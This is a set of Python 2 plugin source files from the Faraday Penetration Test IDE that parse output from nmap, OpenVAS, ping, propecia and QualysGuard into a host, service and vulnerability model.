399 "-n":"Never do DNS resolution/Always resolve [default: sometimes]",
400 "-R":"Never do DNS resolution/Always resolve [default: sometimes]",
401 "--dns-servers":"&lt;serv1[,serv2],...&gt;: Specify custom DNS servers",
402 "--system-dns:":"Use OS's DNS resolver",
403 "--traceroute:":"Trace hop path to each host",
404 "-sS:":"TCP SYN/Connect()/ACK/Window/Maimon scans",
405 "-sT:":"TCP SYN/Connect()/ACK/Window/Maimon scans",
406 "-sA:":"TCP SYN/Connect()/ACK/Window/Maimon scans",
407 "-sW:":"TCP SYN/Connect()/ACK/Window/Maimon scans",
408 "-sM:":"TCP SYN/Connect()/ACK/Window/Maimon scans",
409 "-sU:":"UDP Scan",
410 "-sN:":"TCP Null, FIN, and Xmas scans",
411 "-sF:":"TCP Null, FIN, and Xmas scans",
412 "-sX:":"TCP Null, FIN, and Xmas scans",
413 "--scanflags":"&lt;flags&gt;: Customize TCP scan flags",
414 "-sI":"&lt;zombie host[:probeport]&gt;: Idle scan",
415 "-sY:":"SCTP INIT/COOKIE-ECHO scans",
416 "-sZ:":"SCTP INIT/COOKIE-ECHO scans",
417 "-sO:":"IP protocol scan",
418 "-b":"&lt;FTP relay host&gt;: FTP bounce scan",
419 "-p":"&lt;port ranges&gt;: Only scan specified ports\nEx: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAA1",
420 "-F:":"Fast mode - Scan fewer ports than the default scan",
421 "-r:":"Scan ports consecutively - don't randomize",
422 "--top-ports":"&lt;number&gt;: Scan &lt;number&gt; most common ports",
423 "--port-ratio":"&lt;ratio&gt;: Scan ports more common than &lt;ratio&gt;",
424 "-sV:":"Probe open ports to determine service/version info",
425 "--version-intensity":"&lt;level&gt;: Set from 0 (light) to 9 (try all probes)",
426 "--version-light:":"Limit to most likely probes (intensity 2)",
427 "--version-all:":"Try every single probe (intensity 9)",
428 "--version-trace:":"Show detailed version scan activity (for debugging)",
429 "-sC:":"equivalent to --script=default",
430 "--script=":"&lt;Lua scripts&gt;: &lt;Lua scripts&gt; is a comma separated list of directories, script-files or script-categories",
431 "--script-args=":"&lt;n1=v1,[n2=v2,...]&gt;: provide arguments to scripts",
432 "--script-trace:":"Show all data sent and received",
433 "--script-updatedb:":"Update the script database.",
434 "-O:":"Enable OS detection",
435 "--osscan-limit:":"Limit OS detection to promising targets",
436 "--osscan-guess:":"Guess OS more aggressively",
437 "-T":"&lt;0-5&gt;: Set timing template (higher is faster)",
438 "--min-hostgroup/max-hostgroup":"&lt;size&gt;: Parallel host scan group sizes",
439 "--min-parallelism/max-parallelism":"&lt;numprobes&gt;: Probe parallelization",
440 "--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout":"&lt;time&gt;: Specifies",
441 "--max-retries":"&lt;tries&gt;: Caps number of port scan probe retransmissions.",
442 "--host-timeout":"&lt;time&gt;: Give up on target after this long",
443 "--scan-delay/--max-scan-delay":"&lt;time&gt;: Adjust delay between probes",
444 "--min-rate":"&lt;number&gt;: Send packets no slower than &lt;number&gt; per second",
445 "--max-rate":"&lt;number&gt;: Send packets no faster than &lt;number&gt; per second",
446 "-f":"&lt;val&gt;: fragment packets (optionally w/given MTU)",
447 "-D":"&lt;decoy1,decoy2[,ME],...&gt;: Cloak a scan with decoys",
448 "-S":"&lt;IP_Address&gt;: Spoof source address",
449 "-e":"&lt;iface&gt;: Use specified interface",
450 "-g":"&lt;portnum&gt;: Use given port number",
451 "--source-port":"&lt;portnum&gt;: Use given port number",
452 "--data-length":"&lt;num&gt;: Append random data to sent packets",
453 "--ip-options":"&lt;options&gt;: Send packets with specified ip options",
454 "--ttl":"&lt;val&gt;: Set IP time-to-live field",
455 "--spoof-mac":"&lt;mac address/prefix/vendor name&gt;: Spoof your MAC address",
456 "--badsum:":"Send packets with a bogus TCP/UDP/SCTP checksum",
457 "-oN":"&lt;file&gt;: Output scan in normal, XML, s|&lt;rIpt kIddi3,",
458 "-oX":"&lt;file&gt;: Output scan in normal, XML, s|&lt;rIpt kIddi3,",
459 "-oS":"&lt;file&gt;: Output scan in normal, XML, s|&lt;rIpt kIddi3,",
460 "-oG":"&lt;file&gt;: Output scan in normal, XML, s|&lt;rIpt kIddi3,",
461 "-oA":"Output in the three major formats at once",
462 "-v:":"Increase verbosity level (use -vv or more for greater effect)",
463 "-d:":"Increase debugging level (use -dd or more for greater effect)",
464 "--reason:":"Display the reason a port is in a particular state",
465 "--open:":"Only show open (or possibly open) ports",
466 "--packet-trace:":"Show all packets sent and received",
467 "--iflist:":"Print host interfaces and routes (for debugging)",
468 "--log-errors:":"Log errors/warnings to the normal-format output file",
469 "--append-output:":"Append to rather than clobber specified output files",
470 "--resume":"&lt;filename&gt;: Resume an aborted scan",
471 "--stylesheet":"&lt;path/URL&gt;: XSL stylesheet to transform XML output to HTML",
472 "--webxml:":"Reference stylesheet from Nmap.Org for more portable XML",
473 "--no-stylesheet:":"Prevent associating of XSL stylesheet w/XML output",
474 "-6:":"Enable IPv6 scanning",
475 "-A:":"Enable OS detection, version detection, script scanning, and traceroute",
476 "--datadir":"&lt;dirname&gt;: Specify custom Nmap data file location",
477 "--send-eth/--send-ip:":"Send using raw ethernet frames or IP packets",
478 "--privileged:":"Assume that the user is fully privileged",
479 "--unprivileged:":"Assume the user lacks raw socket privileges",
480 "-V:":"Print version number",
481 "-h:":"Print this help summary page.",
482 }
483
484 global current_path
485 self._output_file_path = os.path.join(self.data_path,
486 "nmap_output-%s.xml" % self._rid)
487
488
489 self.addSetting("Scan Technique", str, "-sS")
490
491 def parseOutputString(self, output, debug = False):
492 """
493 This method will discard the output the shell sends, it will read it from
494 the xml where it expects it to be present.
495
496 NOTE: if 'debug' is true then it is being run from a test case and the
497 output being sent is valid.
498 """
499
500 parser = NmapXmlParser(output)
501
502 for host in parser.hosts:
503 # if not host.is_up():
504 # continue
505
506 if host.mac_address == 'unknown':
507 host.mac_address="00:00:00:00:00:00"
508
509 if host.ipv4_address != 'unknown':
510 minterfase = host.ipv4_address
511 h_id = self.createAndAddHost(minterfase, host.os)
512 i_id = self.createAndAddInterface(h_id, minterfase, host.mac_address, ipv4_address=host.ipv4_address, hostname_resolution=host.hostnames)
513 else:
514 minterfase = host.ipv6_address
515 h_id = self.createAndAddHost(minterfase, host.os)
516 i_id = self.createAndAddInterface(h_id, minterfase, host.mac_address, ipv6_address=host.ipv6_address, hostname_resolution=host.hostnames)
517
518 for v in host.vulns:
519 desc=v.desc
520 desc+="\nOutput: "+ v.response if v.response else ""
521 v_id = self.createAndAddVulnToHost(h_id,v.name,desc=v.desc,
522 severity=0)
523
524 for port in host.ports:
525
526 srvname=str(port.number)
527 srvversion="unknown"
528 if port.service is not None:
529 srvname=port.service.name
530 srvversion=port.service.product if port.service.product != "unknown" else ""
531 srvversion+=" " +port.service.version if port.service.version != "unknown" else ""
532
533 s_id = self.createAndAddServiceToInterface(h_id, i_id, srvname,
534 port.protocol,
535 ports = [port.number],
536 status = port.state,
537 version = srvversion,
538 description = srvname)
539 note=True
540 for v in port.vulns:
541 desc=v.desc
542 desc+="\nOutput: "+ v.response if v.response else ""
543 if v.web:
544 if note:
545 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
546 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,minterfase,"")
547 note=False
548 v_id = self.createAndAddVulnWebToService(h_id,s_id,v.name,desc=desc,
549 severity=0,website=minterfase)
550 else:
551 v_id = self.createAndAddVulnToService(h_id,s_id,v.name,desc=v.desc,
552 severity=0)
553
554 del parser
555
556 return True
557
558
559 xml_arg_re = re.compile(r"^.*(-oX\s*[^\s]+).*$")
560
561
562
563 def processCommandString(self, username, current_path, command_string):
564 """
565 Adds the -oX parameter to get xml output to the command string that the
566 user has set.
567 """
568 self._output_file_path = os.path.join(self.data_path,"nmap_output-%s.xml" % random.uniform(1,10))
569
570 arg_match = self.xml_arg_re.match(command_string)
571
572
573 if arg_match is None:
574 return re.sub(r"(^.*?nmap)",
575 r"\1 -oX %s" % self._output_file_path,
576 command_string)
577 else:
578 return re.sub(arg_match.group(1),
579 r"-oX %s" % self._output_file_path,
580 command_string)
581
582
583 def setHost(self):
584 pass
585
586
587 def createPlugin():
588 return NmapPlugin()
589
590 if __name__ == '__main__':
591 parser = NmapXmlParser(sys.argv[1])
592 for host in parser.hosts:
593 if host.status == 'up':
594 print host
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class OpenvasXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the openvas tool.
45
46 TODO: Handle errors.
47 TODO: Test openvas output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param openvas_xml_filepath A proper xml generated by openvas
51 """
52 def __init__(self, xml_output):
53 self.target = None
54 self.port = "80"
55 self.host = None
56
57 tree = self.parse_xml(xml_output)
58
59 if tree:
60 self.items = [data for data in self.get_items(tree)]
61 else:
62 self.items = []
63
64
65 def parse_xml(self, xml_output):
66 """
67 Open and parse an xml file.
68
69 TODO: Write custom parser to just read the nodes that we need instead of
70 reading the whole file.
71
72 @return xml_tree An xml tree instance. None if error.
73 """
74 try:
75 tree = ET.fromstring(xml_output)
76 except SyntaxError, err:
77 print "SyntaxError: %s. %s" % (err, xml_output)
78 return None
79
80 return tree
81
82 def get_items(self, tree):
83 """
84 @return items A list of Host instances
85 """
86 bugtype=""
87
88
89 node = tree.findall('report')[0]
90 node2 = node.findall('results')[0]
91
92 for node in node2.findall('result'):
93 yield Item(node)
94
95
96
97
98 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
99 """
100 Finds a subnode in the item node and the retrieves a value from it
101
102 @return An attribute value
103 """
104 global ETREE_VERSION
105 node = None
106
107 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
108
109 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
110 if match_obj is not None:
111 node_to_find = match_obj.group(1)
112 xpath_attrib = match_obj.group(2)
113 xpath_value = match_obj.group(3)
114 for node_found in xml_node.findall(node_to_find):
115 if node_found.attrib[xpath_attrib] == xpath_value:
116 node = node_found
117 break
118 else:
119 node = xml_node.find(subnode_xpath_expr)
120
121 else:
122 node = xml_node.find(subnode_xpath_expr)
123
124 if node is not None:
125 return node.get(attrib_name)
126
127 return None
128
129
130
131
132
133 class Item(object):
134 """
135 An abstract representation of a Item
136
137
138 @param item_node A item_node taken from an openvas xml tree
139 """
140 def __init__(self, item_node):
141 self.node = item_node
142
143 self.host = self.get_text_from_subnode('host')
144 self.subnet = self.get_text_from_subnode('subnet')
145
146
147 if self.subnet is '':
148 self.subnet = self.host
149
150 self.description = self.get_text_from_subnode('description')
151 self.port ="None"
152 self.severity = self.get_text_from_subnode('threat')
153 self.service=""
154 self.protocol=""
155 port = self.get_text_from_subnode('port')
156
157 if (re.search("^general",port) is None):
158 mregex = re.search("([\w]+) \(([\d]+)\/([\w]+)\)",port)
159 if mregex is not None:
160 self.service = mregex.group(1)
161 self.port = mregex.group(2)
162 self.protocol = mregex.group(2)
163 else:
164 info = port.split("/")
165 self.port = info[0]
166 self.protocol = info[1]
167 else:
168 info = port.split("/")
169 self.service = info[0]
170 self.protocol = info[1]
171
172
173 self.nvt = self.node.findall('nvt')[0]
174 self.node = self.nvt
175 self.id=self.node.get('oid')
176 self.name = self.get_text_from_subnode('name')
177 self.cve = self.get_text_from_subnode('cve') if self.get_text_from_subnode('cve') != "NOCVE" else ""
178 self.bid = self.get_text_from_subnode('bid') if self.get_text_from_subnode('bid') != "NOBID" else ""
179 self.xref = self.get_text_from_subnode('xref') if self.get_text_from_subnode('xref') != "NOXREF" else ""
180
181 def do_clean(self,value):
182 myreturn =""
183 if value is not None:
184 myreturn = re.sub("\n","",value)
185 return myreturn
186
187 def get_text_from_subnode(self, subnode_xpath_expr):
188 """
189 Finds a subnode in the host node and the retrieves a value from it.
190
191 @return An attribute value
192 """
193 sub_node = self.node.find(subnode_xpath_expr)
194 if sub_node is not None and sub_node.text is not None:
195 return sub_node.text
196
197 return ''
198
199
200
201 class OpenvasPlugin(core.PluginBase):
202 """
203 Example plugin to parse openvas output.
204 """
205 def __init__(self):
206 core.PluginBase.__init__(self)
207 self.id = "Openvas"
208 self.name = "Openvas XML Output Plugin"
209 self.plugin_version = "0.0.2"
210 self.version = "2.0"
211 self.framework_version = "1.0.0"
212 self.options = None
213 self._current_output = None
214 self.target = None
215 self._command_regex = re.compile(r'^(openvas|sudo openvas|\.\/openvas).*?')
216
217 global current_path
218 self._output_file_path = os.path.join(self.data_path,
219 "openvas_output-%s.xml" % self._rid)
220
221
222 def parseOutputString(self, output, debug = False):
223 """
224 This method will discard the output the shell sends, it will read it from
225 the xml where it expects it to be present.
226
227 NOTE: if 'debug' is true then it is being run from a test case and the
228 output being sent is valid.
229 """
230
231 parser = OpenvasXmlParser(output)
232
233 web=False
234 ids={}
235 for item in parser.items:
236 if item.name is not None:
237 ref=[]
238 if item.cve:
239 ref.append(item.cve.encode("utf-8"))
240 if item.bid:
241 ref.append(item.bid.encode("utf-8"))
242 if item.xref:
243 ref.append(item.xref.encode("utf-8"))
244
245 if ids.has_key(item.subnet):
246 h_id=ids[item.host]
247 else:
248 h_id = self.createAndAddHost(item.subnet)
249 ids[item.subnet] = h_id
250
251 if item.port == "None":
252 v_id = self.createAndAddVulnToHost(h_id,item.name.encode("utf-8"),desc=item.description.encode("utf-8"),
253 ref=ref)
254 else:
255
256 if item.service:
257 web=True if re.search(r'^(www|http)',item.service) else False
258 else:
259 web=True if item.port in ('80','443','8080') else False
260
261 if ids.has_key(item.subnet+"_"+item.subnet):
262 i_id=ids[item.subnet+"_"+item.subnet]
263 else:
264
265
266 if self._isIPV4(item.subnet):
267 i_id = self.createAndAddInterface(h_id, item.subnet, ipv4_address=item.subnet,hostname_resolution=item.host)
268 else:
269 i_id = self.createAndAddInterface(h_id, item.subnet, ipv6_address=item.subnet,hostname_resolution=item.host)
270
271 ids[item.subnet+"_"+item.subnet] = i_id
272
273
274 if ids.has_key(item.subnet+"_"+item.port):
275 s_id=ids[item.subnet+"_"+item.port]
276 else:
277 s_id = self.createAndAddServiceToInterface(h_id, i_id, item.service,
278 item.protocol,
279 ports = [str(item.port)],
280 status = "open")
281 ids[item.subnet+"_"+item.port] = s_id
282 if web:
283 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
284 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,item.host,"")
285
286 if item.name:
287 if web:
288 v_id = self.createAndAddVulnWebToService(h_id, s_id, item.name.encode("utf-8"),
289 desc=item.description.encode("utf-8"),website=item.host,
290 severity=item.severity.encode("utf-8"),ref=ref)
291 else:
292 v_id = self.createAndAddVulnToService(h_id, s_id, item.name.encode("utf-8"),
293 desc=item.description.encode("utf-8"),severity=item.severity.encode("utf-8"),ref=ref)
294
295 del parser
296
297
298
299
300
301 def _isIPV4(self, ip):
302 if len(ip.split(".")) == 4:
303 return True
304 else:
305 return False
306
307
308 def processCommandString(self, username, current_path, command_string):
309 return None
310
311
312 def setHost(self):
313 pass
314
315
316 def createPlugin():
317 return OpenvasPlugin()
318
319 if __name__ == '__main__':
320 parser = OpenvasXmlParser(sys.argv[1])
321 for item in parser.items:
322 if item.status == 'up':
323 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from plugins import core
10 from model import api
11 import re
12 import os
13
14 __author__ = "Facundo de Guzmán, Esteban Guillardoy"
15 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
16 __credits__ = ["Facundo de Guzmán", "Esteban Guillardoy"]
17 __license__ = ""
18 __version__ = "1.0.0"
19 __maintainer__ = "Francisco Amato"
20 __email__ = "[email protected]"
21 __status__ = "Development"
22
23
24 class CmdPingPlugin(core.PluginBase):
25 """
26 This plugin handles ping command.
27 Basically detects if user was able to connect to a device
28 """
29 def __init__(self):
30 core.PluginBase.__init__(self)
31 self.id = "ping"
32 self.name = "Ping"
33 self.plugin_version = "0.0.1"
34 self.version = "1.0.0"
35 self._command_regex = re.compile(r'^(sudo ping|ping|sudo ping6|ping6).*?')
36 self._completition = {
37 "":"[-LRUbdfnqrvVaAB] [-c count] [-m mark] [-i interval] [-l preload] [-p pattern] [-s packetsize] [-t ttl] [-w deadline] [-F flowlabel] [-Iinterface] [-M hint] [-N nioption] [-Q tos] [-S sndbuf] [-T timestamp option] [-W timeout] [hop ...] destination",
38 "-a":"Audible ping.",
39 "-A":"Adaptive ping. Interpacket interval adapts to round-trip time, so that effectively not more than one (or more, if preload is set) unanswered probes present in the network. Minimal interval is 200msec for not super-user. On networks with low rtt this mode is essentially",
40 "-b":"Allow pinging a broadcast address.",
41 "-B":"Do not allow ping to change source address of probes. The address is bound to one selected when ping starts.",
42 "-m":"mark",
43 "-c":"count",
44 "-d":"Set the SO_DEBUG option on the socket being used. Essentially, this socket option is not used by Linux kernel.",
45 "-F":"flow label",
46 "-f":"Flood ping. For every ECHO_REQUEST sent a period ``.'' is printed, while for ever ECHO_REPLY received a backspace is printed. This profast as they come back or one hundred times per second, whichever is more. Only the super-user may use this option with zero interval.",
47 "-i":"interval",
48 "-I":"interface address.Set source address to specified interface address. Argument may be numeric IP address or name of device. When pinging IPv6 link-local",
49 "-l":"preload",
50 "-L":"Suppress loopback of multicast packets. This flag only applies if the ping destination is a multicast address.",
51 "-N":"(nioption) Send ICMPv6 Node Information Queries (RFC4620), instead of Echo Request.",
52 "-n":"Numeric output only. No attempt will be made to lookup symbolic names for host addresses.",
53 "-p":"pattern You may specify up to 16 ``pad'' bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network. For example, -p ff will cause the sent packet to be filled with all ones.",
54 "-D":"Print timestamp (unix time + microseconds as in gettimeofday) before each line.",
55 "-Q":"tos Set Quality of Service -related bits in ICMP datagrams. tos can be either decimal or hex number. Traditionally (RFC1349), these have been interpreted as: 0 for reserved (currently being redefined as congestion control), 1-4 for Type of Service and 5-7 for Precedence enabled in the kernel. In RFC2474, these fields has been redefined as 8-bit Differentiated Services (DS), consisting of: bits 0-1 of separate data (ECN will be used, here), and bits 2-7 of Differentiated Services Codepoint (DSCP).",
56 "-q":"Quiet output. Nothing is displayed except the summary lines at startup time and when finished.",
57 "-R":"Record route. Includes the RECORD_ROUTE option in the ECHO_REQUEST packet and displays the route buffer on returned packets. Note that",
58 "-r":"Bypass the normal routing tables and send directly to a host on an attached interface. If the host is not on a directly-attached network,",
59 "-s":"packetsize",
60 "-S":"sndbuf",
61 "-t":"ttl Set the IP Time to Live.",
62 "-T":"Timestamp option",
63 "-M":"hint",
64 "-U":"Print full user-to-user latency (the old behaviour). Normally ping prints network round trip time, which can be different f.e. due to DNS",
65 "-v":"Verbose output.",
66 "-V":"Show version and exit.",
67 "-w":"deadline",
68 "-W":"timeout",
69 }
70
71 def parseOutputString(self, output, debug = False):
72
73 reg=re.search(r"PING ([\w\.-:]+)( |)\(([\w\.:]+)\)", output)
74 if re.search("0 received|unknown host",output) is None and reg is not None:
75
76 ip_address = reg.group(3)
77 hostname=reg.group(1)
78
79
80 h_id = self.createAndAddHost(ip_address)
81 if self._isIPV4(ip_address):
82 i_id = self.createAndAddInterface(h_id, ip_address, ipv4_address=ip_address, hostname_resolution=[hostname])
83 else:
84 i_id = self.createAndAddInterface(h_id, ip_address, ipv6_address=ip_address, hostname_resolution=[hostname])
85
86 return True
87
88 def _isIPV4(self, ip):
89 if len(ip.split(".")) == 4:
90 return True
91 else:
92 return False
93
94 def processCommandString(self, username, current_path, command_string):
95 """
96 """
97 return None
98
99 def createPlugin():
100 return CmdPingPlugin()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from plugins import core
10 from model import api
11 import re
12
13
14 __author__ = "Federico Kirschbaum"
15 __copyright__ = "Copyright 2011, Faraday Project"
16 __credits__ = ["Federico Kirschbaum"]
17 __license__ = ""
18 __version__ = "1.0.0"
19 __maintainer__ = "Federico Kirschbaum"
20 __email__ = "[email protected]"
21 __status__ = "Development"
22
23
24
25
26
27 class CmdPropeciaPlugin(core.PluginBase):
28 """
29 This plugin handles propecia command.
30 Basically inserts into the tree the ouput of this tool
31 """
32 def __init__(self):
33 core.PluginBase.__init__(self)
34 self.id = "propecia"
35 self.name = "propecia port scanner"
36 self.plugin_version = "0.0.1"
37 self.version ="1.0"
38 self.framework_version = "1.0.0"
39 self.options = None
40 self._current_output = None
41 self._command_regex = re.compile(r'^(sudo propecia|\.\/propecia|propecia).*?')
42 self._host_ip = None
43 self._port = "23"
44
45
46
47
48
49 def parseOutputString(self, output, debug = False):
50
51 host_info = re.search(r"(\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b)", output)
52
53 if host_info is None:
54 api.log("No hosts detected")
55 else:
56 for host in output.split('\r\n'):
57 if host != "":
58 h_id = self.createAndAddHost(host)
59 i_id = self.createAndAddInterface(h_id, host, ipv4_address=host)
60 s_id = self.createAndAddServiceToInterface(h_id, i_id, str(self._port),
61 "tcp",
62 ports = [self._port],
63 status = "open",
64 version = "",
65 description = "")
66
67 if debug is True:
68 api.devlog("Debug is active")
69
70
71 return True
72
73
74 def processCommandString(self, username, current_path, command_string):
75 """
76 """
77 count_args = command_string.split()
78
79 if count_args.__len__() == 3:
80 self._port = count_args[2]
81
82 return None
83
84 def createPlugin():
85 return CmdPropeciaPlugin()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import sys
15
16 try:
17 import xml.etree.cElementTree as ET
18 import xml.etree.ElementTree as ET_ORIG
19 ETREE_VERSION = ET_ORIG.VERSION
20 except ImportError:
21 import xml.etree.ElementTree as ET
22 ETREE_VERSION = ET.VERSION
23
24 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
25
26 current_path = os.path.abspath(os.getcwd())
27
28 __author__ = "Francisco Amato"
29 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
30 __credits__ = ["Francisco Amato"]
31 __license__ = ""
32 __version__ = "1.0.0"
33 __maintainer__ = "Francisco Amato"
34 __email__ = "[email protected]"
35 __status__ = "Development"
36
37
38 class QualysguardXmlParser(object):
39 """
40 The objective of this class is to parse an xml file generated by the qualysguard tool.
41
42 TODO: Handle errors.
43 TODO: Test qualysguard output version. Handle what happens if the parser doesn't support it.
44 TODO: Test cases.
45
46 @param qualysguard_xml_filepath A proper xml generated by qualysguard
47 """
48 def __init__(self, xml_output):
49 tree = self.parse_xml(xml_output)
50 if tree:
51 self.items = [data for data in self.get_items(tree)]
52 else:
53 self.items = []
54
55
56 def parse_xml(self, xml_output):
57 """
58 Open and parse an xml file.
59
60 TODO: Write custom parser to just read the nodes that we need instead of
61 reading the whole file.
62
63 @return xml_tree An xml tree instance. None if error.
64 """
65 try:
66 tree = ET.fromstring(xml_output)
67 except SyntaxError, err:
68 self.devlog("SyntaxError: %s. %s" % (err, xml_output))
69 return None
70
71 return tree
72
73 def get_items(self, tree):
74 """
75 @return items A list of Host instances
76 """
77 for node in tree.findall("IP"):
78 yield Item(node)
79
80
81
82
83 class Item(object):
84 """
85 An abstract representation of a Item
86
87
88 @param item_node A item_node taken from an qualysguard xml tree
89 """
90 def __init__(self, item_node):
91 self.node = item_node
92 self.ip = item_node.get('value')
93 self.os = self.get_text_from_subnode("OS")
94
95 self.vulns=self.getResults(item_node)
96
97 def getResults(self, tree):
98 """
99 :param tree:
100 """
101 for self.issues in tree.findall("VULNS/CAT"):
102 for v in self.issues.findall("VULN"):
103 yield Results(v,self.issues)
104
105 def get_text_from_subnode(self, subnode_xpath_expr):
106 """
107 Finds a subnode in the host node and the retrieves a value from it.
108
109 @return An attribute value
110 """
111 sub_node = self.node.find(subnode_xpath_expr)
112 if sub_node is not None:
113 return sub_node.text
114
115 return None
116
117 class Results():
118 def __init__(self, issue_node,parent):
119 self.node = issue_node
120 self.port=parent.get('port')
121 self.protocol=parent.get('protocol')
122 self.name=self.node.get('number')
123 self.severity=self.node.get('severity')
124 self.title=self.get_text_from_subnode("TITLE")
125 self.cvss=self.get_text_from_subnode("CVSS_BASE")
126 self.pci=self.get_text_from_subnode("PCI_FLAG")
127 self.diagnosis=self.get_text_from_subnode("DIAGNOSIS")
128 self.solution=self.get_text_from_subnode("SOLUTION")
129 self.result=self.get_text_from_subnode("RESULT")
130 self.desc = self.diagnosis
131 self.desc += "\nResult: " +self.result if self.result else ""
132 self.desc += "\nSolution: " +self.solution if self.solution else ""
133
134 self.ref=[]
135 for r in issue_node.findall("CVE_ID_LIST/CVE_ID"):
136 self.node=r
137 self.ref.append(self.get_text_from_subnode("ID"))
138 for r in issue_node.findall("BUGTRAQ_ID_LIST/BUGTRAQ_ID"):
139 self.node=r
140 self.ref.append("bid-"+self.get_text_from_subnode("ID"))
141
142
143
144 def get_text_from_subnode(self, subnode_xpath_expr):
145 """
146 Finds a subnode in the host node and the retrieves a value from it.
147
148 @return An attribute value
149 """
150 sub_node = self.node.find(subnode_xpath_expr)
151 if sub_node is not None:
152 return sub_node.text
153
154 return None
155
156 class QualysguardPlugin(core.PluginBase):
157 """
158 Example plugin to parse qualysguard output.
159 """
160 def __init__(self):
161 core.PluginBase.__init__(self)
162 self.id = "Qualysguard"
163 self.name = "Qualysguard XML Output Plugin"
164 self.plugin_version = "0.0.1"
165 self.version = "Qualysguard"
166 self.framework_version = "1.0.0"
167 self.options = None
168 self._current_output = None
169 self._command_regex = re.compile(r'^(sudo qualysguard|\.\/qualysguard).*?')
170
171 global current_path
172 self._output_file_path = os.path.join(self.data_path,
173 "qualysguard_output-%s.xml" % self._rid)
174
175 def parseOutputString(self, output, debug = False):
176
177
178 parser = QualysguardXmlParser(output)
179 for item in parser.items:
180 h_id = self.createAndAddHost(item.ip,item.os)
181 i_id = self.createAndAddInterface(h_id, item.ip,ipv4_address=item.ip, hostname_resolution=item.ip)
182
183 for v in item.vulns:
184 if v.port is None:
185 v_id=self.createAndAddVulnToHost(h_id,v.title,ref=v.ref,severity=v.severity,desc=v.desc)
186 else:
187 web=False
188 s_id = self.createAndAddServiceToInterface(h_id, i_id, v.port,
189 v.protocol,
190 ports = [str(v.port)],
191 status = "open")
192
193 if v.port in ['80','443'] or re.search("ssl|http",v.name):
194 web=True
195 else:
196 web=False
197
198 if web:
199 v_id=self.createAndAddVulnWebToService(h_id, s_id,v.title,ref=v.ref,website=item.ip,severity=v.severity,desc=v.desc)
200 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
201 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,item.ip,"")
202 else:
203 v_id=self.createAndAddVulnToService(h_id, s_id,v.title,ref=v.ref,severity=v.severity,desc=v.desc)
204
205
206
207
208
209
210
211 del parser
212
213 def processCommandString(self, username, current_path, command_string):
214 return None
215
216
217 def setHost(self):
218 pass
219
220
221 def createPlugin():
222 return QualysguardPlugin()
223
224 if __name__ == '__main__':
225 parser = QualysguardXmlParser(sys.argv[1])
226 for item in parser.items:
227 if item.status == 'up':
228 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
